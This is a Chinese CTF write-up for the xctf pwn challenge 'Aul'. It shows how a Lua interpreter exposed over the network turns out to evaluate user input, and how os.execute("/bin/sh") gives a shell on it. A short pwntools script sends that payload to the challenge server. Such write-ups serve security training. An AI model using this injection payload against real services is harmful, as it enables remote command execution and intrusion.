Aul(xctf)

原创

whiteh4nd 于 2020-08-31 11:17:38 发布

分类专栏： # xctf(pwn高手区) CTF

本文链接：https://blog.csdn.net/weixin_43868725/article/details/108317780

xctf(pwn高手区) 同时被 2 个专栏收录

27 篇文章 0 订阅

订阅专栏

CTF

41 篇文章 0 订阅

订阅专栏

0x0 利用过程

1.题目没有给附件，直接使用nc连接发现是一个交互的场景，输入help之后输出了一堆东西。

通过开头可以猜测出这是Lua编写的脚本，其中还有一些字符串很像函数的名字。

2.输入help泄露出的函数名字。

writeline

```
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
writeline
lua Error: bad argument #1 to 'writeline' (string expected, got table)
```

io.open()

```
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
io.open()
lua Error: [string "return io.open()"]:1: bad argument #1 to 'open' (string expected, got no value)
```

通过错误信息可以得知程序将输入的字符串转化成相应的函数执行并返回结果。

3.确定了程序的功能后，输入lua脚本执行系统命令的语句。

```
os.execute("/bin/sh")
ls
bin
dev
flag
lib
lib64
run.sh
scripty
server.lua
server.luac
```

发现getshell了。

0x1 exp

```python
from pwn import *
sh=remote('220.249.52.133','46664')
sh.recv()
sh.sendline('os.execute("/bin/sh")')
sh.interactive()
```